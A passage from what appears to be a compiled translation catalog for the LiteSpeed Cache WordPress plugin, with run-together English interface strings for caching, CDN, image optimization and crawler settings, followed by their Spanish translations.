in seconds, Gravatar files are cached.Specify how long, in seconds, REST calls are cached.Specify how long, in seconds, feeds are cached.Specify how long, in seconds, private pages are cached.Specify how long, in seconds, public pages are cached.Specify how long, in seconds, the front page is cached.Specify the %s heartbeat interval in seconds.Specify the maximum size of the log file.Specify the number of most recent revisions to keep when cleaning revisions.Specify the password used when connecting.Specify the quality when generating LQIP.Specify the responsive placeholder SVG color.Specify the time to purge the "%s" list.Specify which HTML element attributes will be replaced with CDN Mapping.Specify which element attributes will be replaced with WebP/AVIF.Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>.Speed up your WordPress site even further with QUIC.cloud Online Services and CDN.Spread the love and earn %s credits to use in our QUIC.cloud online services.Standard PresetsStart watching...Started async crawlingStarted async image optimization requestStatic file type links to be replaced by CDN links.StatusStop loading WordPress.org emoji. Browser default emoji will be displayed instead.Storage OptimizationStore Gravatar locally.Store TransientsSubmit a ticketSuccessfully CrawledSummarySupport forumSure I'd love to review!SwapSwitch back to using optimized images on your siteSwitched images successfully.Switched to optimized file successfully.Sync QUIC.cloud status successfully.Sync credit allowance with Cloud Server successfully.Sync data from CloudSystem InformationTTLTableTagTemporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.Term archive (include category, tag, and tax)TestingThank You for Using the LiteSpeed Cache Plugin!The Admin IP option will only output log messages on requests from admin IPs listed below.The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again.The URLs here (one per line) will be purged automatically at the time set in the option "%s".The URLs will be compared to the REQUEST_URI server variable.The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.The above nonces will be converted to ESI automatically.The amount of time, in seconds, that files will be stored in browser cache before expiring.The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.The callback validation to your domain failed due to hash mismatch.The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: The cookie set here will be used for this WordPress installation.The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here.The current server is under heavy load.The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.The deactivation is temporaryThe default login cookie is %s.The environment report contains detailed information about the WordPress configuration.The features below are provided by %sThe following options are selected, but are not editable in this settings page.The image compression quality setting of WordPress out of 100.The image list is empty.The latest data file isThe list will be merged with the predefined nonces in your local data file.The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.The network admin selected use primary site configs for all subsites.The network admin setting can be overridden here.The next complete sitemap crawl will start atThe queue is processed asynchronously. It may take time.The selector must exist in the CSS. Parent classes in the HTML will not work.The server will determine if the user is logged in based on the existence of this cookie.The site is not a valid alias on QUIC.cloud.The site is not registered on QUIC.cloud.The user with id %s has editor access, which is not allowed for the role simulator.Then another WordPress is installed (NOT MULTISITE) at %sThere is a WordPress installed for %s.There is proceeding queue not pulled yet.There is proceeding queue not pulled yet. Queue info: %s.These images will not generate LQIP.These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.These settings are meant for ADVANCED USERS ONLY.This Month Usage: %sThis action should only be used if things are cached incorrectly.This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.This can improve page loading time by reducing initial HTTP requests.This can improve quality but may result in larger images than lossy compression will.This can improve the page loading speed.This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.This enables the page's initial screenful of imagery to be fully displayed without delay.This is irreversible.This is to ensure compatibility prior to enabling the cache for all sites.This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.This may cause heavy load on the server.This message indicates that the plugin was installed by the server admin.This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.This option can help to correct the cache vary for certain advanced mobile or tablet visitors.This option enables maximum optimization for Guest Mode visitors.This option is bypassed because %1$s option is %2$s.This option is bypassed due to %s option.This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.This option will automatically bypass %s option.This option will remove all %s tags from HTML.This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools.This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.This process is automatic.This setting is %1$s for certain qualifying requests due to %2$s!This setting is useful for those that have multiple web applications for the same domain.This setting will edit the .htaccess file.This setting will regenerate crawler list and clear the disabled list!This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.This value is overwritten by the %s variable.This value is overwritten by the Network setting.This value is overwritten by the PHP constant %s.This value is overwritten by the filter.This value is overwritten by the primary site setting.This will Purge Front Page onlyThis will Purge Pages onlyThis will affect all tags containing attributes: %s.This will also add a preconnect to Google Fonts to establish a connection earlier.This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?This will clear EVERYTHING inside the cache.This will delete all cached Gravatar filesThis will delete all generated critical CSS filesThis will delete all generated image LQIP placeholder filesThis will delete all generated unique CSS filesThis will delete all localized resourcesThis will disable LSCache and all optimization features for debug purpose.This will disable the settings page on all subsites.This will drop the unused CSS on each page from the combined file.This will enable crawler cron.This will export all current LiteSpeed Cache settings and save them as a file.This will generate extra requests to the server, which will increase server load.This will generate the placeholder with same dimensions as the image if it has the width and height attributes.This will import settings from a file and override all current LiteSpeed Cache settings.This will increase the size of optimized files.This will inline the asynchronous CSS library to avoid render blocking.This will purge all minified/combined CSS/JS entries onlyThis will reset all settings to default settings.This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action.This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?Time to execute previous request: %sTo crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role.To crawl the site as a logged-in user, enter the user ids to be simulated.To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.To do an exact match, add %s to the end of the URL.To enable the following functionality, turn ON Cloudflare API in CDN Settings.To exclude %1$s, insert %2$s.To generate a passwordless link for LiteSpeed Support Team access, you must install %s.To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited.To manage your QUIC.cloud options, go to QUIC.cloud Dashboard.To manage your QUIC.cloud options, go to your hosting provider's portal.To manage your QUIC.cloud options, please contact your hosting provider.To match the beginning, add %s to the beginning of the item.To prevent %s from being cached, enter them here.To prevent filling up the disk, this setting should be OFF when everything is working.To randomize CDN hostname, define multiple hostnames for the same resources.To test the cart, visit the <a %s>FAQ</a>.To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.ToolToolboxTotalTotal ReductionTotal UsageTotal images optimized in this monthTrackbacks/PingbacksTrashed CommentsTrashed PostsTry GitHub VersionTuningTuning CSS SettingsTuning SettingsTurn OFFTurn ONTurn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.Turn ON to control heartbeat in backend editor.Turn ON to control heartbeat on backend.Turn ON to control heartbeat on frontend.Turn On Auto UpgradeTurn on OptimaX. This will automatically request your pages OptimaX result via cron job.Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.Turn this setting %s if you are using a traditional Content Delivery Network (CDN) or a subdomain for static content with QUIC.cloud CDN.Tweet previewTweet thisUCSS InlineUCSS Inline Excluded FilesUCSS Selector AllowlistUCSS URI ExcludesURI ExcludesURI Paths containing these strings will NOT be cached as public.URLURL SearchURL list in %s queue waiting for cronUnable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.Unable to automatically add %1$s as a Domain Alias for main %2$s domain.Unexpected cache rule %2$s found in %1$s file. This rule may cause visitors to see old versions of pages due to the browser caching HTML pages. If you are sure that HTML pages are not being browser cached, this message can be dismissed. (%3$sLearn More%4$s)Unique CSSUnknown errorUpdate %s nowUpgradeUpgraded successfully.UsageUsage Statistics: %sUse %1$s in %2$s to indicate this cookie has not been set.Use %1$s to bypass UCSS for the pages which page type is %2$s.Use %1$s to bypass remote image dimension check when %2$s is ON.Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.Use %s API functionality.Use CDN MappingUse Network Admin SettingUse Optimized FilesUse Original FilesUse Primary Site ConfigurationUse QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously.Use QUIC.cloud online service to generate unique CSS.Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between.Use external object cache functionality.Use keep-alive connections to speed up cache operations.Use latest GitHub Dev commitUse latest GitHub Dev/Master commitUse latest GitHub Master commitUse latest WordPress release versionUse original images (unoptimized) on your siteUse the format %1$s or %2$s (element is optional).Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.Useful for above-the-fold images causing CLS (a Core Web Vitals metric).UsernameUsing optimized version of file. VPIValue from filter appliedValue rangeVariables %s will be replaced with the configured background color.Variables %s will be replaced with the corresponding image properties.Vary CookiesVary GroupVary for Mini CartView %1$s version %2$s detailsView .htaccessView Site Before CacheView Site Before OptimizationViewport ImageViewport Image GenerationViewport ImagesViewport Images CronVisit LSCWP support forumVisit the site while logged out.WARNINGWARNING: The .htaccess login cookie and Database login cookie do not match.WaitingWaiting to be CrawledWant to connect with other LiteSpeed users?Watch Crawler StatusWe are good. No table uses MyISAM engine.We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.WebP file reduced by %1$s (%2$s)WebP saved %sWebP/AVIF Attribute To ReplaceWebP/AVIF For Extra srcsetWelcome to LiteSpeedWhat is a group?What is an image group?When a visitor hovers over a page link, preload that page. This will speed up the visit to that link.When disabling the cache, all cached entries for this site will be purged.When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.When minifying HTML do not discard comments that match a specified pattern.When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images.When this option is turned %s, it will also load Google Fonts asynchronously.When you use Lazy Load, it will delay the loading of all images on a page.Who should use this preset?Why are you deactivating the plugin?Widget Cache TTLWildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.Wildcard %s supported.With ESI (Edge Side Includes), pages may be served from cache for logged-in users.With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.WooCommerce SettingsWordPress Image Quality ControlWordPress valid interval is %s seconds.WpW: Private Cache vs. Public CacheYearly archiveYou are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard.You can just type part of the domain.You can list the 3rd party vary cookies here.You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.You can request a maximum of %s images at once.You can turn on browser caching in server admin too. %sLearn more about LiteSpeed browser cache settings%s.You can turn shortcodes into ESI blocks.You can use this code %1$s in %2$s to specify the htaccess file path.You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible.You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.You have too many requested images, please try again in a few minutes.You have used all of your daily quota for today.You have used all of your quota left for current service this month.You just unlocked a promotion from QUIC.cloud!You must be using one of the following products in order to measure Page Load Time:You must set %1$s to %2$s before using this feature.You must set %s before using this feature.You need to activate QC first.You need to set the %1$s first. Please use the command %2$s to set.You need to set the %s in Settings first before using the crawlerYou need to turn %s on and finish all WebP generation to get maximum result.You need to turn %s on to get maximum result.You will be unable to Revert Optimization once the backups are deleted!You will need to finish %s setup to use the online services.Your %1$s quota on %2$s will still be in use.Your %s Hostname or IP address.Your API key / token is used to access %s APIs.Your Email address on %s.Your IPYour application is waiting for approval.Your domain has been forbidden from using our services due to a previous policy violation.Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.Your server IPYour site is connected and ready to use QUIC.cloud Online Services.Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features.Zero, orcategoriescookiese.g. Use %1$s or %2$s.https://www.litespeedtech.comhttps://www.litespeedtech.com/products/cache-plugins/wordpress-accelerationjust nowmoreno matter where they live.pixelsprovide more information here to assist the LiteSpeed team with debugging.right nowrunningsecondstagsthe auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server.unknownuser agentsPO-Revision-Date: 2025-09-11 18:53:40+0000
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n != 1;
X-Generator: GlotPress/4.0.1
Language: es
Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)
 hace %s%1$s %2$d elemento(s)%1$s %2$s archivos restantes en la cola%1$s es una característica de pago de %2$s.Para esta acción se necesita la versión %2$s del plugin %1$s.%1$sAprender más%2$s%d hora%d horas%d elemento(s)%d minuto%d minutos%d segundosExtensión %s%s datos de activación caducados.No se puede leer el archivo %s.No se puede escribir el archivo %s.%s grupo%s grupos%s imagen%s imágenesSe recomienda %s.%s debe estar activo para que este ajuste funcione.(sin reducción)(no-optm)(optm)Ruta del archivo «.htaccess»<a href="%1$s" %2$s>ver detalles de la versión %3$s</a> o <a href="%4$s" %5$s target="_blank">actualiza ya</a>.<p>Por favor añade/reemplaza los siguientes códigos al comiendo de %1$s:</p> %2$s<strong>CSS crítico (CCSS)</strong> carga el contenido visible antes de desplazarse más rápido y con estilo completo.La <strong>optimización de imágenes</strong> te ofrece archivos de imagen de menor tamaño que se transmiten más rápido.El <strong>marcador de posición de imagen de baja calidad (LQIP)</strong> le da a tus imágenes un aspecto más agradable a medida que se cargan de forma diferida.La <strong>optimización de página</strong> agiliza los estilos de página y los elementos visuales para una carga más rápida.<strong>CSS único (UCSS)</strong> elimina las definiciones de estilo no utilizadas para lograr una carga de página más rápida en general.<strong>Viewport Images (VPI)</strong> proporciona una vista completa y bien pulida antes de desplazarse.Se iniciará una purga completa cuando WordPress ejecute estos ganchos.No es obligatoria una conexión QUIC.cloud para utilizar este preajuste. Solo se activan las características básicas de almacenamiento en caché.Es obligatoria una conexión QUIC.cloud para utilizar este preajuste. Activa el nivel máximo de optimizaciones para mejorar la puntuación de la velocidad de la página.Es obligatoria una conexión QUIC.cloud para utilizar este preajuste. Incluye muchas optimizaciones conocidas por mejorar los resultados de velocidad de la página.Es obligatoria una conexión QUIC.cloud para utilizar este preajuste. Incluye optimizaciones conocidas por mejorar la puntuación del sitio en las herramientas de medición de la velocidad de la página.Un TTL de 0 implica no cachear.Se guarda una copia de seguridad de cada imagen antes de optimizarla.TTL de caché AJAXAPIAPI: El filtro %s está disponible para desactivar la lista de bloqueos.API: La constante %s de PHP está disponible para desactivar la lista de bloqueos.Archivo AVIF reducido en %1$s (%2$s)AVIF guardado %sAcelera, optimiza, protegeAcelera la velocidad al almacenar en caché los gravatares (avatares reconocidos mundialmente).ActivarAñadir tamaños que faltanAñadir una nueva URL de la CDNAñadir una cookie nueva para simularAñadir a la lista negraAñade estilos a tus imágenes de carga diferidaSolo la IP del administradorIPs de administradorAvanzadoAvanzado (Recomendado)Ajustes avanzadosEl nivel avanzado registrará más detalles.DespuésDespués de que el servidor de optimización de imágenes de QUIC.cloud termine de optimizar, avisará a tu sitio para descargar las imágenes optimizadas.Después de que la caché funcione en general, por favor prueba el carrito.AgresivoEl alias ya está en uso por otra cuenta de QUIC.cloud.Se han borrado todas las colas de servicio de QUIC.cloud.Todos los datos transitoriosTodas las categorías son cacheadas por defecto.Todas las páginasTodas las páginas con widget de Entradas recientesTodas las etiquetas son cacheadas por defecto.Permite a las IPs listadas (una por línea) ejecutar ciertas acciones desde sus navegadores.Ya en la cachéPurgar siempre productos y categorías cuando cambie la cantidad o estado del inventario.Se puede utilizar un segundo parámetro opcional para especificar el control de la caché. Utiliza un espacio para separarAñade la cadena de consulta %s a los recursos para evitar esta acción.Se ha aplicado el prejuste %1$s %2$sAplicar el preajuste¿Seguro que quieres borrar todos los elementos de la lista negra?¿Está seguro de destruir todas las imágenes optimizadas?¿Seguro que quieres vaciar todos los nodos cloud?¿Seguro que quieres desconectar de QUIC.cloud? Esto no eliminará ningún dato del escritorio de QUIC.cloud.¿Estás seguro de que quieres volver a detectar el servidor en la nube más cercano para este servicio?¿Está seguro de querer eliminar todas las copias de seguridad de imágenes?¿Seguro que quieres restablecer los ajustes a los valores por defecto?Carga de CSS asíncrono con CSS críticoAdjuntar información PHP al informe. Marca esta casilla para insertar datos relevantes de %s.Archivo del autorBorradores automáticosReglas de purga automática para publicación y actualizaciónCron de petición automáticaRedimensionado automático de imágenes originalesCarga automáticaCargar entradas automáticamenteTamaño de carga automáticaCargar automáticamente la lista principalGenera automáticamente CSS crítico en segundo plano mediante una cola basada en el cron.La generación automática de CSS único está en segundo plano a través de una cola basada en cron.Actualizar automáticamenteActivar ampliamente la precarga de DNS para las URLs del documento, incluyendo imágenes, CSS, JavaScript, etc.Genera automáticamente LQIP en segundo plano mediante una cola basada en el programador de tareas.Elimina automáticamente las copias de seguridad de la imagen original tras recuperar las imágenes optimizadas.Reemplaza automáticamente imágenes grandes con versiones escaladas.Solicitar automáticamente la optimización mediante un trabajo cron.Disponible después de %d segundo(s)La lista de avatares está en la cola esperando ser actualizadaRuta del .htaccess de la administraciónControl de heartbeat de la administraciónTTL de heartbeat de la administraciónCopia de seguridad creada %1$s antes de aplicar el preajuste %2$sBásicoMarcador de posición de imagen básicaAntesEl mejor rendimiento disponible para WordPress¡El mejor rendimiento disponible para WordPress, TTFB globalmente rápido, fácil configuración y %smucho más%s!Pruebas betaLista negraEn lista negraEn la lista negra debido a que no se puede cachearTanto %1$s como %2$s son aceptables.Pueden utilizarse tanto URLs completas como cadenas parciales.Se pueden usa cadenas parciales y completas.NavegadorCaché del navegadorAjustes de la caché del navegadorTTL caché de navegadorEl cacheo de navegador almacena archivos estáticos localmente en el navegador del usuario. Activa este ajuste para reducir peticiones repetidas a archivos estáticos.Por defecto, se utilizará un marcador de posición de imagen gris %s.Por defecto, las páginas «Mi cuenta», «Pago» y «Carrito» son excluidas automáticamente de la caché. Una mala configuración de las asociaciones de páginas en los ajustes de WooCommerce puede hacer que algunas páginas sean excluidas erróneamente.Por diseño, esta opción puede servir contenido obsoleto. No actives esta opción si no estás de acuerdo.CCSS por URLLista de permitidos del selector del CCSSCDNCDN - DesactivadoCDN - ActivadoCDN - no disponible para usuarios anónimosAncho de banda de la CDNAjustes de CDNURL de CDNURL de la CDN a utilizar. Por ejemplo, %sCombinar CSS y JSCombinar CSSCombinación de CSS externo e integradoExcluir CSSMinificar CSSAjustes de CSSMinimizado de CSS, JS y HTMLCaché CSS/JSCachéCachear barra de administradorCachear formulario de comentarioCachear comentaristasAjustes de control de cachéAcierto de cachéCachear usuarios con sesión iniciadaCachear página de accesoFallo de cachéCache móvilCachear API RESTEstado de cachéCaché de WP-AdminLa clave de caché debe ser un entero o una cadena no vacía, %s proporcionado.La clave de caché no puede ser una cadena vacía.Cachear peticiones realizadas por llamadas de la API REST de WordPress.Almacena en caché el bloque ESI de la barra de administración incorporada.Almacena en la caché el bloque ESI del formulario de comentarios incluido.Almacena en caché todo tu sitio, incluido el contenido dinámico y los <strong>bloques ESI</strong>.Calcular el espacio en disco de las copias de seguridadCalcular almacenamiento original de imágenesCopias de seguridad calculadas correctamente.No se puede crear el directorio: %1$s. Error: %2$sCancelarCategoríaEl archivo de certificado o clave no existe.Ajuste cambiado con éxito.Los cambios en este ajuste no se aplican a los LQIP ya generados. Para regenerar los LQIP existentes, por favor, primero %s desde el menú de la barra de administración.Comprobar estadoComprobar mi IP pública desdeVerifica el estado de tus ajustes más importantes y el estado de tu configuración CDN aquí.Marca esta opción para usar la configuración del sitio principal para todos los subsitios.Elige qué tamaños de imagen optimizar.Limpiar todoVaciar el mapa del rastreadorLimpiar datos no finalizadosBorrar todos los borradores guardados automáticamenteLimpiar todos los registros meta de entradas huérfanasBorrar todas las revisiones de entradasBorrar todos los comentarios spamLimpieza completa exitosa.Borrar todos los trackbacks y pingbacksBorrar todas las opciones de datos transitoriosLimpieza de todos los datos transitorios exitosa.Borrar todos los comentarios en la papeleraBorrar todas las entradas y páginas en la papeleraLimpieza de borradores automáticos exitosa.Borrar opciones de datos transitorios expiradosLimpieza de datos transitorios expirados exitosa.Limpieza correcta de los meta de entrada huérfanos.Limpieza de revisiones de entradas exitosa.Limpiar las revisiones más antiguas de %1$s día(s), excluyendo %2$s últimas revisionesLimpieza de comentarios no deseados exitosa.Limpieza de trackbacks y pingbacks exitosa.Limpieza de comentarios en papelera exitosa.Limpieza de páginas y entradas en papelera exitosa.Limpiados todos los archivos CSS críticos.Vaciados todos los archivos de Gravatar.Vaciados todos los archivos LQIP.Limpiados todos los archivos CSS únicos.Limpiadas todas las entradas de recursos localizados.Datos incompletos limpiados correctamente.VaciarLimpiar la caché de %s cuando se ejecuta «Purgar todo».Vaciar la caché de CloudflareVaciar los registrosPurgadas %1$s imágenes no válidas.Vacía todas las entradas de la caché relacionadas con este sitio, incluyendo otras aplicaciones web.Haz clic aquí para continuar.Haz clic aquí para configurarlo.Haz clic para borrar todos los nodos para volver a detectar.Haz clic para copiarHaz clic para cambiar a la versión optimizada.Haz clic para cambiar a la versión original (no optimizada).Cerrar ventana emergenteError de la nubeEl servidor en la nube rechazó la solicitud actual debido a la limitación de cuota. Por favor, inténtalo de nuevo más tarde.El servidor de la nube ha rechazado la solicitud actual debido a que no se han extraído las imágenes. Por favor, extrae primero las imágenes.CloudflareAPI de CloudflareLa API de Cloudflare está configurada en off.Caché de CloudflareDominio de CloudflareAjustes de CloudflareZona de CloudflareColapsar cadenas de peticionesCombina archivos CSS y código CSS integrado.Combina todos los archivos JS locales en un único archivo.Se admiten comentarios. Empieza una línea con un %s para convertirla en una línea de comentario.Comunicado con éxito con Cloudflare.¡Felicidades! Tu archivo ya ha sido optimizadoFelicidades, %s configuró correctamente este dominio para los servicios anónimos en línea.Felicidades, %s configuró correctamente este dominio para los servicios en línea con servicio CDN.Felicidades, %s configuró correctamente este dominio para los servicios en línea.¡Felicidades, todos obtenidos!Fecha de conexión:Prueba de conexiónRed de entrega de contenidosServicio de red de entrega de contenidoConvertir a InnoDBConvertido a InnoDB correctamente.Nombre de la cookieSimulación de cookieValores de la cookieCopiar registroNo se ha podido encontrar %1$s en %2$s.Intervalo de indexaciónRastreadorCron del rastreadorAjustes generales del rastreadorRegistros de rastreadoresEstado del rastreadorRastreador desactivado por el administrador del servidor.¡Se ha vaciado la lista de rastreadores desactivados! ¡Todos los rastreadores están activos! Rastreador(es)Los rastreadores no pueden ejecutarse simultáneamente. Si tanto el cron como una ejecución manual se inician al mismo tiempo, el primero que se inicie tendrá prioridad.Crear una entrada, asegurarse que la página principal está actualizada.Creado con ❤️ por el equipo de LiteSpeed.Los créditos no son suficientes para proceder con la solicitud actual.CSS críticoReglas de CSS críticasNombre del CronContenidos actuales de %sNodos de la nube actual en servicioEl servidor en la nube más cercano es %s. Haz clic para volver a detectarlo.El rastreador actual comenzó a lasPosición actual del id de entrada de la imagenEl límite actual esCarga actual del servidorLa hora actual del servidor es %s.El rastreo del mapa del sitio actual comenzó a lasEl estado actual es %1$s desde %2$s.El estado actual es %s.Rastreador activoActualmente establecido en %sActualmente se utiliza la versión optimizada del archivo AVIF.Actualmente usando la versión optimizada del archivo WebP.Actualmente usando la versión optimizada del archivo.Actualmente se utiliza la versión original (sin optimizar) del archivo AVIF.Actualmente usando la versión original (no optimizada) del archivo WebP.Actualmente usando la versión original (no optimizada) del archivo.Sitemap personalizadoAjustes de optimización de la BDPreconexión DNSPrefetch DNSControl del prefetch DNSPrecarga de DNS para archivos estáticosArchivo diarioEscritorioBase de datosOptimizador de base de datosResumen de la base de datosConversor de motor de tabla de base de datosBase de datos a usarDía(s)DesactivarDesactivar la caché de LiteSpeedDesactivar el pluginAyudas de depuraciónNivel de depuraciónRegistro de depuraciónAjustes de depuraciónExclusión de cadenas de depuraciónURIs excluidas de la depuraciónURIs incluidas en la depuraciónPor defectoCaché por defectoTTL por defecto del FeedTTL por defecto de la Página PrincipalTTL del código de estado de página por defectoTiempo de vida por defecto del objetoTTL por defecto de la caché privadaTTL por defecto de la caché públicaTTL por defecto de RESTTTL por defecto para objetos cacheados.La ruta por defecto esPuerto por defecto de %1$s es %2$s.Valor por defectoDiferidoAplazar hasta que se analiza la página o retrasar hasta que la interacción pueda ayudar a reducir la contención de recursos y mejorar el rendimiento, lo que provoca un FID más bajo (métrica de Core Web Vitals).Retraso al mostrar los elementos HTML fuera de la pantalla por su selector.RetrasadoBorrar todas las copias de seguridad de las imágenes originalesOfrece cobertura global con una <strong>red en crecimiento de más de 80 PoP</strong>.Destruir todos los datos de optimizaciónTodos los datos de optimización destruidos correctamente.Determina como los cambios en la cantidad de producto o estado del inventario afecta a las páginas de producto y sus páginas de categoría asociadas.Modo de desarrolloEl modo de desarrollo se desactivará automáticamente después de tres horas.El modo de desarrollo se desactivará automáticamente en %s.DesactivarDesactivar todas las característicasDesactivar todas las características durante 24 horasDesactivar la cachéDesactivar la carga de imágenes diferidaDesactivar VPIDesactuva el intervalo del heartbeat de WordPress para reducir la carga del servidor.Desactiva esta opción para generar CCSS por tipo de contenido en lugar de por página. Esto puede ahorrar una cuota significativa de CCSS, sin embargo, puede resultar en un estilo de CSS incorrecto si tu sitio usa un maquetador de páginas.DesactivadoEl archivo AVIF desactivado correctamente.Archivo WebP desactivado con éxito.Desactivar esto puede causar que las tareas de WordPress activadas por AJAX dejen de funcionar.Desactivar esta opción puede afectar negativamente al rendimiento.Desconectar de QUIC.cloudDescartarIgnorar ese avisoDescartar este aviso.Categorías a no cachearCookies a no cachearGrupos a no cachearCadenas de consulta a no cachearNo cachear perfilesEtiquetas a no cachearURIs a no cachearUser Agents a no cachearNo purgar las categorías al cambiar la cantidad o estado del inventario.No volver a mostrar estoDominioNo se recomienda bajar de versión. Puede causar un error fatal debido a código reprogramado.Ignorar cadenas de consultaESINonces de ESIAjustes de ESIESI te permite designar partes de tu página dinámica como fragmentos diferentes que son combinados juntos para formar la página completa. En otras palabras,  ESI permite "hacer huecos" en una página, y rellenar dichos huecos con contenido que puede ser cacheado privadamente, cacheado públicamente con su propio TTL, o no cacheado.Muestra de ESI para desarrolaldoresHeartbeat del editorTTL de heartbeat del editorSe excluirán los elementos con el atributo %s en el código HTML.Se excluirán los elementos con el atributo %s en código html.Dirección de correo electrónicoVaciar la caché enteraVaciar la lista negraActivar todas las funcionesActiva cacheActivar ESIActivar la CDN de QUIC.cloudActivar los servicios de QUIC.cloudActivar los servicios de QUIC.cloudActivar el cron de generación automática del viewport de imágenes.Activar reemplazo de WebP/AVIF en los elementos %s generados fuera de la lógica de WordPress.Activa esta opción si estás usando tanto HTTP como HTTPS en el mismo dominio y estás notando irregularidades en la caché.ActivadoArchivo AVIF activado correctamente.Archivo WebP activado con éxito.Activar LiteSpeed Cache para WordPress aquí activa la caché para la red.Razón de finalizaciónMotorIntroduce la dirección IP de este sitio para permitir que los servicios en la nube llamen directamente a la IP en lugar de al nombre de dominio. Esto elimina la sobrecarga de búsquedas de DNS y CDN.Error: No se pudieron aplicar los ajustes %1$sBásicosCada minutoTodo lo de Advance y ademásTodo lo de Aggressive y ademásTodo en el básico, ademásTodo lo de Essentials y ademásEjemploEjemplo de uso:Ejemplos de pruebas incluyen:Excluir rutaAjustes de exclusiónExcluirDatos transitorios expiradosExportarExportar ajustesExtremoFallidoFallo al hacer copia de seguridad del archivo %s, cambios cancelados.Fallo al comunicar con CloudflareFallo de comunicación con el servidor QUIC.cloudFallo al crear la tabla Avatar. Por favor, sigue la guía <a %s>creación de tablas, de la Wiki de LiteSpeed</a> para terminar la configuración.¡Error al crear la tabla %1$s! SQL: %2$s.No se pudo detectar la IPError al obtener contenido del archivo %s.No se pudieron obtener los datos de eco de WPAPINo se pudo analizar el estado de activación de %s.Fallo en la solicitud desde WordPressFallo al actualizar.No se pudieron validar los datos de activación de %s.Error al escribir a %s.Uso de la cola rápidaNo se puede escribir el archivo %s.¡El nombre del archivo está vacío!ArchivosDisponible el filtro %s para la generación de UCSS por tipo de página.Filtro %s disponible para cambiar el umbral.El filtro %s es compatible.El directorio no existe: %sEl directorio no es escribible: %s.Optimización de visualización de fuentesEn el caso de las URL con comodines, puede haber un retraso en el inicio de la purga programada.Por ejemploPor ejemplo, %1$s define un TTL de %2$s segundos para %3$s.Por ejemplo, los %s pueden usarse para un marcador de posición transparente.Por ejemplo, para %1$s, se pueden utilizar aquí %2$s y %3$s.Por ejemplo, para %1$s, se puede utilizar %2$s aquí.Por ejemplo, si todas las páginas del sitio tienen formato diferente introduce %s en la caja. Los archivos CSS críticos distintos de cada página del sitio se almacenarán.Por ejemplo, para eliminar parámetros que comienzan con %1$s, se puede usar %2$s aquí.Por ello, por favor prueba el sitio para asegurar que todo sigue funcionando correctamente.Forzar URLs en cachéForzar URIs de caché 